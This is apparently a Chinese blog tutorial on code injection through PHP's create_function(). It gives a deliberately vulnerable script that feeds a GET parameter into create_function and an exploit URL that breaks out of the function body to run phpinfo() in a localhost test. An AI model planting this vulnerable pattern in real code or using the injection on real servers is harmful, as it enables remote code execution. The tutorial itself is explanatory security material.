PHP create_function()代码注入 (执行脚本函数)

第一部分:介绍php函数 create_function():

string create_function    ( string $args   , string $code   )

string $args 变量部分

string $code 方法代码部分

举例:

1
create_function( '$fname' , 'echo $fname."Zhang"' )

类似于:

1
2
3
function  fT( $fname ) {
   echo  $fname . "Zhang" ;
}

举一个官方提供的例子:

1
2
3
4
5
6
7
8
9
<?php
$newfunc  = create_function( '$a,$b' 'return "ln($a) + ln($b) = " . log($a * $b);' );
echo  "New anonymous function: $newfunc" ;
echo  $newfunc (2, M_E) . "
";
// outputs
// New anonymous function: lambda_1
// ln(2) + ln(2.718281828459) = 1.6931471805599
?>

第二部分:如何利用create_function()代码注入

测试环境版本:

apache +php 5.2、apache +php 5.3

有问题的代码:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
//02-8.php?id=2;}phpinfo();/*
$id = $_GET [ 'id' ];
$str2 = 'echo  ' . $a . 'test' . $id . ";" ;
echo  $str2 ;
echo  "<br/>" ;
echo  "==============================" ;
echo  "<br/>" ;
$f1  = create_function( '$a' , $str2 );
echo  "<br/>" ;
echo  "==============================" ;
?>

利用方法:

http://localhost/libtest/02-8.php?id=2;}phpinfo();/*

实现原理:

由于id=2;}phpinfo();/*

执行函数为:

1
2
3
4
5
6
7
8
9
10
源代码:
function  fT( $a ) {
   echo  "test" . $a ;
}
 
注入后代码:
function  fT( $a ) {
   echo  "test" ;}
   phpinfo();/*; //此处为注入代码。
}


测试效果:

wKioL1bG013BIm6xAAF_Ztvt0MU639.png

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值